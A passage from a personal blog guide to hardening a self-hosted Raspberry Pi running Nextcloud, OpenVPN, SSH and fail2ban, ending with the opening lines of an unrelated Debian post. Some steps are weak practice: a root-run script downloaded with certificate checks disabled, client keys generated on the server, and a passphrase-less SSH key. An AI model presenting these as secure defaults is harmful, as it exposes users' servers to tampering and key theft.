<p>Now edit <code>/etc/apache2/sites-enabled/000-default.conf</code>. It must contain the following (note that the redirection to https can be automatically added by Let's Encrypt, see farther below):</p>
<div class="highlight"><pre><span></span><code>Alias / "/var/www/nextcloud/"
<Directory "/var/www/nextcloud">
Options +FollowSymLinks
AllowOverride All
<IfModule mod_dav.c>
Dav off
</IfModule>
SetEnv HOME /var/www/nextcloud
SetEnv HTTP_HOME /var/www/nextcloud
</Directory>
<Directory "/mnt/data_partition/">
# just in case if .htaccess gets disabled
Require all denied
</Directory>
<VirtualHost *:80>
ServerName <YOUR DOMAIN>
ServerAdmin <YOUR EMAIL ADDRESS>
DocumentRoot /var/www/nextcloud
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://<YOUR DOMAIN>/
</VirtualHost>
</code></pre></div>
<p>Bring the changes between <code><VirtualHost></code> tags to <em>/etc/apache2/sites-enables/default-ssl.conf</em>, except for the instruction <code>Redirect</code>. Additionally, add instructions taken from <a href="https://mozilla.github.io/server-side-tls/ssl-config-generator/?server=apache-2.4.25&openssl=1.1.0j&hsts=yes&profile=modern">Mozilla SSL Configuration Generator</a>:</p>
<div class="highlight"><pre><span></span><code><VirtualHost *:443>
...
# SSLEngine on # We'll uncomment this later
# HSTS (mod_headers is required) (15552000 seconds = 6 months)
Header always set Strict-Transport-Security "max-age=15552000; includeSubDomains"
...
</VirtualHost>
# modern configuration, tweak to your needs
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder on
SSLCompression off
SSLSessionTickets off
# OCSP Stapling, only in httpd 2.3.3 and later
SSLUseStapling on
SSLStaplingResponderTimeout 5
SSLStaplingReturnResponderErrors off
SSLStaplingCache shmcb:/var/run/ocsp(128000)
</code></pre></div>
<p>Let us now improve a bit Apache's security. Edit <em>/etc/apache2/conf-enabled/security.conf</em> like this:</p>
<div class="highlight"><pre><span></span><code>ServerSignature Off
Header set X-Frame-Options: "sameorigin" # Require mod_headers
ServerTokens Prod
</code></pre></div>
<p>Now get a browser-trusted certificate from <a href="https://letsencrypt.org/">Let's Encrypt</a>. Here is a summary of <a href="https://certbot.eff.org/lets-encrypt/debianbuster-apache">the official instructions</a>:</p>
<div class="highlight"><pre><span></span><code>su
apt update
apt install snapd
<span class="nb">exit</span>
su <span class="c1"># To reload paths</span>
snap install core
snap refresh core
snap install --classic certbot
ln -s /snap/bin/certbot /usr/bin/certbot
<span class="c1"># Set up NAT/PAT rules in your router so that ports 80 and 443 are reachable from the Internet. Then:</span>
certbot --apache
<span class="c1"># Now uncomment SSLEngine on in default-ssl.conf</span>
<span class="c1"># Also, your router must accept connections on port 80 for the renewal to work.</span>
certbot renew --dry-run <span class="c1"># Try renewal</span>
<span class="c1"># It should be programmed to regularily renew the certificate automatically.</span>
<span class="c1"># Check with `systemctl list-timers`.</span>
</code></pre></div>
<p>And restart <code>systemctl restart apache2</code>.</p>
<p>Now, visit http://raspberry-pi-IP/ once. This will create <code>/var/www/nextcloud/config/config.php</code>. Edit this file like this:</p>
<div class="highlight"><pre><span></span><code><span class="s1">'overwrite.cli.url'</span> <span class="o">=</span>> <span class="s1">'https://example.org/'</span>,
<span class="s1">'htaccess.RewriteBase'</span> <span class="o">=</span>> <span class="s1">'/'</span>,
</code></pre></div>
<p>And run <code>cd /var/www/nextcloud && sudo -u www-data php occ maintenance:update:htaccess</code>.</p>
<p>Ultimately, verify everything is all right using <a href="https://www.ssllabs.com/ssltest/">SSL LABS's SSL server test</a>.</p>
<p>You may now restart Apache2.</p>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>cryptsetup -v luksOpen /dev/sda3 hddcrypt
mount /dev/mapper/hddcrypt /mnt/data_partition/
mkdir /mnt/data_partition/nextcloud_data
chown -R www-data:www-data /mnt/data_partition/nextcloud_data/
chmod <span class="m">750</span> /mnt/data_partition/nextcloud_data
</code></pre></div>
<p>Now you can start setting up Nextcloud at https://raspberry-pi-IP/. Set the data folder to be <code>/mnt/data_partition/nextcloud_data</code>. Once set up, go visit <code>/settings/admin/overview</code> for tips on how to improve your setup.</p>
<h2 id="improve-phps-performance">Improve PHP's performance</h2>
<div class="highlight"><pre><span></span><code>su
<span class="nb">export</span> <span class="nv">CONF</span><span class="o">=</span>/etc/php/7.3/apache2/php.ini
<span class="c1"># Or /etc/php/7.3/fpm/php.ini if running HTTP2</span>
sed <span class="s2">"s/;opcache.enable=1/opcache.enable=1/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/;opcache.enable_cli=0/opcache.enable_cli=1/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/;opcache.memory_consumption=128/opcache.memory_consumption=128/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/;opcache.interned_strings_buffer=8/opcache.interned_strings_buffer=8/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/;opcache.max_accelerated_files=10000/opcache.max_accelerated_files=10000/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/;opcache.revalidate_freq=2/opcache.revalidate_freq=240/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/memory_limit = 128M/memory_limit = 512M/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/upload_max_filesize = 2M/upload_max_filesize = 16G/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/post_max_size = 8M/post_max_size = 16G/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/output_buffering = 4096/output_buffering = 0/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/max_input_time = 60/max_input_time = 3600/"</span> -i <span class="nv">$CONF</span>
sed <span class="s2">"s/max_execution_time = 30/max_execution_time = 3600/"</span> -i <span class="nv">$CONF</span>
<span class="nb">export</span> <span class="nv">CONF_CLI</span><span class="o">=</span>/etc/php/7.3/cli/php.ini
<span class="c1"># /etc/php/7.0/cli/php.ini is used by Nextcloud's CRON jobs</span>
sed <span class="s2">"s/;opcache.enable=1/opcache.enable=1/"</span> -i <span class="nv">$CONF_CLI</span>
sed <span class="s2">"s/;opcache.enable_cli=0/opcache.enable_cli=1/"</span> -i <span class="nv">$CONF_CLI</span>
sed <span class="s2">"s/;opcache.revalidate_freq=2/opcache.revalidate_freq=240/"</span> -i <span class="nv">$CONF_CLI</span>
sed <span class="s2">"s/output_buffering = 4096/output_buffering = 0/"</span> -i <span class="nv">$CONF_CLI</span>
sed <span class="s2">"s/max_input_time = 60/max_input_time = 3600/"</span> -i <span class="nv">$CONF_CLI</span>
sed <span class="s2">"s/max_execution_time = 30/max_execution_time = 3600/"</span> -i <span class="nv">$CONF_CLI</span>
</code></pre></div>
<p>To significantly improve performance overall, you'll also need data caching: <strong>APCu</strong>.</p>
<div class="highlight"><pre><span></span><code>su
apt install php-apcu
phpenmod apcu
service apache2 restart
</code></pre></div>
<p>Now, add the following in <em>/var/www/nextcloud/config/config.php</em>:</p>
<div class="highlight"><pre><span></span><code>'memcache.local' => '\OC\Memcache\APCu',
</code></pre></div>
<p>Restart Apache. Running <code>php -i</code> will say <em>opcache.enable => On</em> and <em>Opcode Caching => Up and Runnning</em>. If you temporarily replace the content of <code>status.php</code> with <code><?php phpinfo(); ?></code>, when accessing <code>/status.php</code> you should see the same results. Make sure as well that APCu is enabled in the webpage.</p>
<h2 id="improve-nextclouds-settings">Improve Nextcloud's settings</h2>
<p>Add the following in <em>/var/www/nextcloud/config/config.php</em>:</p>
<div class="highlight"><pre><span></span><code>'logtimezone' => 'Europe/Paris',
'logfile' => '/var/log/nextcloud/nextcloud.log',
'default_phone_region' => 'DE',
</code></pre></div>
<p>Now:</p>
<div class="highlight"><pre><span></span><code>su -
mkdir /var/log/nextcloud
chown www-data:www-data /var/log/nextcloud
<span class="nb">exit</span>
sudo -u www-data bash
touch /var/log/nextcloud/nextcloud.log
</code></pre></div>
<p>In Nextcloud, enable the server-side encryption in the admin settings, and enable the app called <em>Default encryption module</em> in the web interface, while logged in as an admin. You'll need to log out and in to actually enable encryption for good.</p>
<p>Install and enable the app "Two Factor TOTP Provider" in <code>URL/settings/apps</code>. Then, go to <code>URL/settings/user/security</code> and enable TOTP.</p>
<p>In <code>URL/settings/admin</code>, change the jobs mechanism to cron (read the documentation by clicking on the i icon).</p>
<div class="highlight"><pre><span></span><code>*/5 * * * * <span class="o">[</span> -L /dev/mapper/hddcrypt <span class="o">]</span> <span class="o">&&</span> php -f /var/www/nextcloud/cron.php
</code></pre></div>
<h1 id="firewall">Firewall</h1>
<div class="highlight"><pre><span></span><code>su
wget --no-check-certificate https://raw.githubusercontent.com/rpellerin/dotfiles/master/scripts/firewall.sh
wget --no-check-certificate https://raw.githubusercontent.com/rpellerin/dotfiles/master/scripts/firewall.service
chmod <span class="m">700</span> firewall.sh
chmod <span class="m">700</span> firewall.service
chown root:root firewall.sh
chown root:root firewall.service
<span class="c1"># Edit the content of firewall.service so that the path to firewall.sh is correct</span>
mv firewall.service /etc/systemd/system/
systemctl <span class="nb">enable</span> firewall
</code></pre></div>
<p>Edit <code>firewall.sh</code> that way:</p>
<div class="highlight"><pre><span></span><code><span class="nv">TCP_SERVICES</span><span class="o">=</span><span class="s2">"80 443"</span> <span class="c1"># SSH is handled separately elsewhere // http, https</span>
<span class="nv">UDP_SERVICES</span><span class="o">=</span><span class="s2">"68 1194"</span> <span class="c1"># DHCP, OpenVPN</span>
<span class="nv">REMOTE_TCP_SERVICES</span><span class="o">=</span><span class="s2">"21 22 43 80 443 465 993"</span> <span class="c1"># ftp, ssh, whois, http, https, smtp (ssl), imap</span>
<span class="nv">REMOTE_UDP_SERVICES</span><span class="o">=</span><span class="s2">"53 67 123"</span> <span class="c1"># DNS ("whois" command for example), DHCP, ntp (time update)</span>
<span class="c1"># NETWORK_MGMT=192.168.1.0/24</span>
</code></pre></div>
<h1 id="openvpn-247">OpenVPN 2.4.7</h1>
<div class="highlight"><pre><span></span><code>su
apt update <span class="o">&&</span> apt install openvpn
</code></pre></div>
<p>Read the <a href="https://openvpn.net/community-resources/how-to/">official documentation</a> (<a href="https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto">here, short tutorial for easy-rsa3</a>).</p>
<div class="highlight"><pre><span></span><code>cp -R /usr/share/easy-rsa/ /etc/openvpn
<span class="nb">cd</span> /etc/openvpn/easy-rsa
cp vars.example vars
<span class="nb">echo</span> <span class="s2">"set_var EASYRSA_KEY_SIZE 2048"</span> >> vars <span class="c1"># No need to source this file</span>
<span class="c1"># Edit also EASYRSA_REQ_COUNTRY, PROVINCE, CITY, ORG, and EMAIL</span>
</code></pre></div>
<p>From now on, I highly recommend you read <em>/etc/openvpn/easy-rsa/doc/EasyRSA-Readme.md</em> and <a href="https://github.com/OpenVPN/easy-rsa/blob/master/README.quickstart.md">https://github.com/OpenVPN/easy-rsa/blob/master/README.quickstart.md</a> in order to continue setting up OpenVPN. As explained, you need to create a PKI to get three distinct things: your CA, a certificate and private key for the server and another couple of this kind for clients. Normally you should generate the pair for clients on your personnal computer, however it's not necessary in our case (who cares about security anyway?).</p>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>./easyrsa init-pki
./easyrsa build-ca <span class="c1"># Add a strong password which will be used to sign other certificates. Leave unchanged the default Common Name.</span>
./easyrsa gen-req server nopass <span class="c1"># Do not add a password for the server; use 'server' as the Common Name (CN)</span>
./easyrsa sign-req server server
./easyrsa gen-req client <span class="c1"># Use 'client' as CN; add a passphrase that you will need later when you try to connect to your VPN server</span>
./easyrsa sign-req client client
</code></pre></div>
<p>Once the certificates and private keys are generated for the server and a client at least, do the following on your Pi and then go back to reading OpenVPN's documentation:</p>
<div class="highlight"><pre><span></span><code>./easyrsa gen-dh
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/
<span class="nb">cd</span> /etc/openvpn
openvpn --genkey --secret ta.key
gunzip server.conf.gz
vim server.conf
</code></pre></div>
<p>You should edit <em>server.conf</em> like this:</p>
<div class="highlight"><pre><span></span><code>port 1194
proto udp
dev tun
ca /etc/openvpn/easy-rsa/pki/ca.crt
cert /etc/openvpn/easy-rsa/pki/issued/server.crt
key /etc/openvpn/easy-rsa/pki/private/server.key
dh /etc/openvpn/easy-rsa/pki/dh.pem
push "route 192.168.1.0 255.255.255.0"
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
tls-auth /etc/openvpn/ta.key 0
cipher AES-256-CBC
comp-lzo
max-clients 2
user nobody
group nogroup
log-append openvpn.log
verb 6
mute 20
script-security 3
client-connect "/etc/openvpn/notifyconnect.sh"
</code></pre></div>
<p>Keep the rest as-is. Now create <code>/etc/openvpn/notifyconnect.sh</code>:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
<span class="nb">echo</span> <span class="s2">"On `date`"</span> <span class="p">|</span> mail -s <span class="s2">"OpenVPN client connection"</span> root@localhost <span class="m">2</span>>/dev/null
sleep <span class="m">1</span>
<span class="c1"># We can't run `runq` or `exim -qff` since this script is called by user `nobody`.</span>
<span class="c1"># Also make sure this script returns 0 otherwise the VPN connection will fail.</span>
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>chmod +x /etc/openvpn/notifyconnect.sh
</code></pre></div>
<p>Now, edit <em>client.conf</em>:</p>
<div class="highlight"><pre><span></span><code>remote <your DynHost domain> 1194
user nobody
group nogroup
mute-replay-warnings
# Normally next lines are uncommented but we won't need them
#ca /etc/openvpn/easy-rsa/easyrsa3/pki/ca.crt
#cert /etc/openvpn/easy-rsa/easyrsa3/pki/issued/client.crt
#key /etc/openvpn/easy-rsa/easyrsa3/pki/private/client.key
#tls-auth /etc/openvpn/ta.key 1
remote-cert-tls server
cipher AES-256-CBC
comp-lzo
mute 20
</code></pre></div>
<p>Ultimately do:</p>
<div class="highlight"><pre><span></span><code>cat /etc/openvpn/client.conf > client.ovpn
<span class="nb">echo</span> <span class="s2">"key-direction 1"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"script-security 2"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"up /etc/openvpn/update-resolv-conf"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"down /etc/openvpn/update-resolv-conf"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"<ca>"</span> >> client.ovpn
cat /etc/openvpn/easy-rsa/pki/ca.crt >> client.ovpn
<span class="nb">echo</span> <span class="s2">"</ca>"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"<cert>"</span> >> client.ovpn
cat /etc/openvpn/easy-rsa/pki/issued/client.crt <span class="p">|</span> sed -ne <span class="s1">'/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"</cert>"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"<key>"</span> >> client.ovpn
cat /etc/openvpn/easy-rsa/pki/private/client.key >> client.ovpn
<span class="nb">echo</span> <span class="s2">"</key>"</span> >> client.ovpn
<span class="nb">echo</span> <span class="s2">"<tls-auth>"</span> >> client.ovpn
cat /etc/openvpn/ta.key >> client.ovpn
<span class="nb">echo</span> <span class="s2">"</tls-auth>"</span> >> client.ovpn
</code></pre></div>
<p>Copy that <em>client.ovpn</em> file on your client.</p>
<p>On your Pi, uncomment the following line in <em>/etc/sysctl.conf</em>:</p>
<div class="highlight"><pre><span></span><code>net.ipv4.ip_forward=1
</code></pre></div>
<p>Apply changes:</p>
<div class="highlight"><pre><span></span><code>su
sysctl -p
</code></pre></div>
<p>There's a <a href="http://serverfault.com/questions/355520/after-reboot-debian-box-ignore-sysctl-conf-values">known bug</a> which may prevent these values to be read on boot (check that it worked about rebooting with <code>sysctl -a | grep ip_forward</code>). Add the following above <code>exit 0</code> in <em>/etc/rc.local</em>:</p>
<div class="highlight"><pre><span></span><code>sysctl -p /etc/sysctl.conf
</code></pre></div>
<p>Don't forget to set up a port forward rule to forward UDP port 1194 from your gateway/router to the machine running the OpenVPN server. In addition, allow incomings UDP connections on port 1194 and these rules, in <code>firewall.sh</code> (the lines are there already, uncomment them):</p>
<div class="highlight"><pre><span></span><code>iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -s <span class="m">10</span>.8.0.0/24 -j ACCEPT
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
</code></pre></div>
<p>Finally, do the following on your server:</p>
<div class="highlight"><pre><span></span><code><span class="nb">cd</span> /etc/openvpn
su
mv client.conf client.conf.old
shred -u client.ovpn
systemctl restart openvpn
tail -f /var/log/openvpn/openvpn.log
</code></pre></div>
<p>At next boot, the server will run automatically. We needed to rename the <em>client.ovpn</em> because the initscript will scan this directory for <em>.conf</em> files and start up a separate OpenVPN deamon for each file found. It is recommended to delete client's files:</p>
<div class="highlight"><pre><span></span><code>shred -u client.conf.old
shred -u /etc/openvpn/easy-rsa/pki/private/client.key
shred -u /etc/openvpn/easy-rsa/pki/issued/client.crt
</code></pre></div>
<p>Now on your client:</p>
<div class="highlight"><pre><span></span><code>sudo apt update <span class="o">&&</span> sudo apt install resolvconf
sudo openvpn --config client.ovpn
</code></pre></div>
<p>Add <code>CAP_SYS_RESOURCE</code> to <code>CapabilityBoundingSet</code> in <code>/lib/systemd/system/openvpn@.service</code>. <a href="https://alexaf.gitlab.io/posts/broken_vpn_notifications/">Here is why</a>.</p>
<h2 id="optional-use-several-ports">Optional: use several ports</h2>
<p>You might want to make your VPN server available on several ports. If so, open the ports you wish to use on your router and add the corresponding iptables rules. You may edit <code>firewall.sh</code>, change the first line and add the second one:</p>
<div class="highlight"><pre><span></span><code><span class="nv">UDP_SERVICES</span><span class="o">=</span><span class="s2">"68 1194 53"</span> <span class="c1"># DCHP, OpenVPN, OpenVPN (other port)</span>
<span class="c1"># ...</span>
iptables -t nat -A PREROUTING -i eth0 -p udp --dport <span class="m">53</span> -j REDIRECT --to-port <span class="m">1194</span>
</code></pre></div>
<h1 id="hardening-ssh-configuration">Hardening SSH configuration</h1>
<p>Edit <em>/etc/ssh/sshd_config</em>:</p>
<div class="highlight"><pre><span></span><code>Port <something you like>
# If you change the default port, don't forget to update SSH_PORT in firewall.sh
#HostKey /etc/ssh/ssh_host_dsa_key # Comment because too old
#HostKey /etc/ssh/ssh_host_ecdsa_key # Same reason
LoginGraceTime 10s
PermitRootLogin no
StrictModes yes
PubkeyAuthentication yes
IgnoreRhosts yes
PasswordAuthentication no # Or yes, depending on your needs
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM no
Banner /etc/issue.net # Message displayed at login
# Custom settings
AllowUsers pi # ONLY pi will be allowed to log in
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512,hmac-sha2-256
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
</code></pre></div>
<p>The last three lines are taken from <a href="https://stribika.github.io/2015/01/04/secure-secure-shell.html">this very helpful website</a>. You should also read <a href="http://kacper.blog.redpill-linpro.com/archives/702">this one</a> after having read the first one (the order is important).</p>
<p><a href="http://mysecureshell.sourceforge.net/fr/securessh.html#question3">Another helpful website about how to prevent SSH bruteforce attacks</a>. However, we'll use fail2ban, see below.</p>
<p>Consider allowing SSH connections using public keys only. On a client do:</p>
<div class="highlight"><pre><span></span><code><span class="n">ssh</span><span class="o">-</span><span class="n">keygen</span><span class="w"> </span><span class="o">-</span><span class="n">t</span><span class="w"> </span><span class="n">rsa</span><span class="w"> </span><span class="o">-</span><span class="n">b</span><span class="w"> </span><span class="mi">4096</span><span class="w"> </span><span class="o">-</span><span class="n">o</span><span class="w"> </span><span class="o">-</span><span class="n">a</span><span class="w"> </span><span class="mi">100</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Accept</span><span class="w"> </span><span class="k">default</span><span class="w"> </span><span class="n">directory</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="k">no</span><span class="w"> </span><span class="n">passphrase</span><span class="w"></span>
<span class="n">ssh</span><span class="o">-</span><span class="n">copy</span><span class="o">-</span><span class="n">id</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="o">~/</span><span class="p">.</span><span class="n">ssh</span><span class="o">/</span><span class="n">id_rsa</span><span class="p">.</span><span class="n">pub</span><span class="w"> </span><span class="nf">pi</span><span class="nv">@raspberrypi</span><span class="o">-</span><span class="n">IP</span><span class="w"></span>
</code></pre></div>
<h1 id="sending-an-email-on-every-ssh-connection">Sending an email on every SSH connection</h1>
<p>Taken from <a href="http://askubuntu.com/questions/179889/how-do-i-set-up-an-email-alert-when-a-ssh-login-is-successful#answer-448602">this thread</a>. As root, create <code>/etc/ssh/login-notify.sh</code>:</p>
<div class="highlight"><pre><span></span><code>#!/bin/sh
if [ "$PAM_TYPE" != "close_session" ]; then
host="`hostname`"
subject="SSH Login: $PAM_USER from $PAM_RHOST on $host"
message="`date`"
echo "$message" | mail -s "$subject" root@mydomain
fi
</code></pre></div>
<p>Note though that you will need to change this line in <code>/etc/ssh/sshd_config</code>:</p>
<div class="highlight"><pre><span></span><code>UsePAM yes
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>chmod +x /etc/ssh/login-notify.sh
</code></pre></div>
<p>And add the following line at the end of the file <code>/etc/pam.d/sshd</code>:</p>
<div class="highlight"><pre><span></span><code>session optional pam_exec.so seteuid /etc/ssh/login-notify.sh
</code></pre></div>
<p>Now restart sshd by doing <code>service sshd restart</code>.</p>
<h1 id="fail2ban">Fail2Ban</h1>
<p><a href="http://www.fail2ban.org/wiki/index.php/MANUAL_0_8">Official documentation</a>.</p>
<div class="highlight"><pre><span></span><code>su
apt install fail2ban
systemctl status fail2ban
</code></pre></div>
<p>Make sure the file <em>/etc/init.d/fail2ban</em> exists. Now edit <em>/etc/fail2ban/jail.local</em> (make a copy of <em>/etc/fail2ban/jail.conf</em>):</p>
<div class="highlight"><pre><span></span><code>[DEFAULT]
# Whatever fits you
bantime = 86400
findtime = 3600
maxretry = 3
action = %(action_mwl)s
# Enable sshd (enabled = true + mode = aggressive), change 'port' if need be
# Enable apache, apache-*
# Add the following new entry
[http-dos]
enabled = true
port = http,https
filter = http-dos
logpath = %(apache_access_log)s
maxretry = 200
findtime = 120
bantime = 600
[ban-countries]
enabled = true
port = http,https
filter = http-dos
logpath = %(apache_access_log)s
maxretry = 1
findtime = 120
bantime = 6000
banaction = ban-countries
action = %(action_)s
# action_ won't send email when banning someone (cause would send a message for every new request) nor when starting/stopping
</code></pre></div>
<p>In <code>/etc/fail2ban/filter.d/apache-auth.conf</code>, edit the line <code>ignoreregex</code> like this to fix a known issue between <a href="https://github.com/nextcloud/server/issues/15688">Nextcloud and fail2ban</a>:</p>
<div class="highlight"><pre><span></span><code>ignoreregex = var/www/nextcloud/config
</code></pre></div>
<p>Now create <em>/etc/fail2ban/filter.d/http-dos.conf</em>:</p>
<div class="highlight"><pre><span></span><code>[Definition]
# Option: failregex
# Note: This regex will match any GET or POST entry in your logs, so basically
# all valid and not valid entries are a match.
# You should set up in the jail.conf file, the maxretry and findtime carefully
# in order to avoid false positives.
failregex = ^<HOST> -.*\"(GET|POST).*
# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
# Values: TEXT
#
ignoreregex =
</code></pre></div>
<p>Now create <em>/etc/fail2ban/action.d/ban-countries.conf</em>:</p>
<div class="highlight"><pre><span></span><code># Copied from iptables-allports.conf
[Definition]
actionstart = <iptables> -N f2b-<name>
<iptables> -A f2b-<name> -j <returntype>
<iptables> -I <chain> -p <protocol> -j f2b-<name>
actionstop = <iptables> -D <chain> -p <protocol> -j f2b-<name>
<iptables> -F f2b-<name>
<iptables> -X f2b-<name>
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'
actionban = IP=<ip> &&
COUNTRY=$(geoiplookup $IP | egrep "<country_list>") && [ "$COUNTRY" ] &&
<iptables> -I f2b-<name> 1 -s <ip> -j <blocktype> || true
actionunban = true
[Init]
country_list = CN|China
</code></pre></div>
<p>Finally, <a href="https://docs.nextcloud.com/server/latest/admin_manual/installation/harden_server.html#setup-fail2ban">set up fail2ban to also protect you from attacks against Nextcloud</a>. The <code>logpath</code> to use is <code>/var/log/nextcloud/nextcloud.log</code>.</p>
<p>Now install missing packages, reload the service maually to make sure there is no error:</p>
<div class="highlight"><pre><span></span><code>su
apt install geoip-bin geoip-database
systemctl stop fail2ban
fail2ban-client -x start
less /var/log/fail2ban.log
<span class="c1"># Check for errors</span>
fail2ban-client -x stop
systemctl start fail2ban
</code></pre></div>
<h1 id="troubleshooting">Troubleshooting</h1>
<p>Should you have a <a href="https://www.youtube.com/watch?v=IGtzaIlMgWA">beeping hard disk drive</a>, the reason might be power consumption. It usually beeps when it needs more electricity. <a href="http://www.htpcguides.com/spin-down-and-manage-hard-drive-power-on-raspberry-pi/">Disabling Advanced Power Management</a> will solve this problem in most cases (<code>sudo hdparm -B 255 /dev/sda</code>).</p>
<h1 id="going-further">Going further</h1>
<h2 id="pro-tips">Pro tips</h2>
<p>Consider buying an <a href="https://www.modmypi.com/raspberry-pi/breakout-boards/pi-modules/ups-pico">uninterruptible power supply (UPS) for your Raspberry to prevent damage caused by power outage</a>.</p>
<h2 id="talk">Talk</h2>
<p>A year ago, I gave a talk at <a href="http://humantalks.com/cities/compiegne">HumanTalks Compiègne</a> about my Raspberry Pi. Here are the video and the slides.</p>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/ECzGnX644yc?rel=0" frameborder="0" allowfullscreen></iframe>
<iframe width="700" height="600" src="https://romainpellerin.eu/slides/embedder.html#self-hosting/slides.html" allowfullscreen></iframe>
<p><a href="https://romainpellerin.eu/slides/self-hosting/slides.html">Slides are available in HTML</a>.</p>
<h2 id="interesting-external-links">Interesting external links</h2>
<ul>
<li><a href="http://www.minimachines.net/actu/piwall-creer-un-mur-decrans-low-cost-avec-des-raspberry-pi-28656">Piwall : Créer un mur d’écrans low cost avec des Raspberry Pi</a></li>
<li><a href="http://korben.info/raspberry-pi-allonger-la-duree-de-vie-de-vos-cartes-sd.html">Raspberry Pi – Allonger la durée de vie de vos cartes SD</a></li>
<li><a href="http://linuxfr.org/news/se-passer-de-dropbox-en-montant-son-coffre-fort-numerique-a-la-maison">Se passer de Dropbox en montant son coffre-fort numérique à la maison</a></li>
<li><a href="http://korben.info/idees-raspberry-pi.html">Plus de 50 idées pour votre Raspberry Pi</a></li>
<li><a href="http://www.24joursdeweb.fr/2014/piloter-sa-maison-grace-au-web/">Piloter sa maison grâce au web</a></li>
<li><a href="https://github.com/Banrai/PiScan">PiScan: A personal shopping and inventory-tracking device based on the Raspberry Pi</a></li>
<li><a href="https://www.raspberrypi.org/magpi-issues/Projects_Book_v1.pdf">THE Official RASPBERRY PI PROJECTS BOOK</a></li>
<li><a href="http://davidmaitland.me/2015/12/raspberry-pi-zero-headless-setup/">Raspberry Pi Zero Headless Setup</a></li>
<li><a href="http://hackaday.com/2016/06/28/raspberry-pi-gets-turned-on/">RASPBERRY PI GETS TURNED ON</a></li>
<li><a href="http://www.geek-directeur-technique.com/2016/07/19/installation-serveur-https-rapide">Installation serveur HTTP(S) rapide</a></li>
<li><a href="https://techcrunch.com/2016/11/16/the-r-pi-iot-shield-adds-iot-connectivity-to-your-diy-project/">The R.Pi IoT Shield adds IoT connectivity to your DIY project</a></li>
<li><a href="https://github.com/deepsyx/home-automation">Raspberry Pi 3 based home automation with NodeJS and React Native.</a></li>
<li><a href="https://bbrks.me/rpi-minidlna-media-server/">Using your Raspberry Pi as a DLNA/UPnP media server</a></li>
<li><a href="https://github.com/rpellerin/raspberry-pi-security-camera">raspberry-pi-security-camera</a></li>
<li><a href="https://mon-blog.jbriault.fr/index.php/blog/2019/02/06/s%C3%A9curiser-l-administration-de-son-vps">Protéger son VPS</a></li>
</ul>
<h3 id="read-only-raspberry-pi">Read-only Raspberry Pi</h3>
<ul>
<li><a href="http://david.mercereau.info/raspberrypi-raspbian-en-lecture-seul-readonly-pour-preserver-la-carte-sd/">RaspberryPi & Raspbian en lecture seul (ReadOnly) pour préserver la carte SD</a></li>
<li><a href="http://tinycorelinux.net/ports.html">Tiny Core Linux</a></li>
</ul>Migrating From Xubuntu To Debian2016-05-21T02:00:00+02:002022-09-24T12:11:00+02:00Romain Pellerintag:romainpellerin.eu,2016-05-21:/migrating-from-xubuntu-to-debian.html<p>How to install Debian 8</p><p>Today marks a new beginning: <strong>I'm switching to Debian 8</strong>. A very bare installation of Debian actually.</p>
